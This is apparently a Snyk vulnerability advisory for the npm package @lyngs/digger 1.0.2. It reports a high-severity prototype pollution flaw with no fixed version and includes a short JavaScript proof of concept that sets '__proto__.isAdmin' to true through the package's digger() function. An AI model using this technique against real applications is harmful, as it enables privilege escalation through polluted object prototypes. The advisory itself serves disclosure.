@lyngs/digger/.../digger@1.0.2 vulnerabilities

Direct Vulnerabilities

Known vulnerabilities in the @lyngs/digger package. This does not include vulnerabilities belonging to this package’s dependencies.

How to fix?

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.

Fix for free
VulnerabilityVulnerable Version
  • H
Prototype Pollution

@lyngs/digger is an Use digger() to <get/set> value, from deep inside of an <object/array>.

Affected versions of this package are vulnerable to Prototype Pollution via the main functionality.

PoC

const {digger} = require("@lyngs/digger");
console.log('Prototype before dig', ({}).isAdmin);
digger({}, '__proto__.isAdmin', true, {extend: true});
console.log('Prototype after dig', ({}).isAdmin);

How to fix Prototype Pollution?

There is no fixed version for @lyngs/digger.

*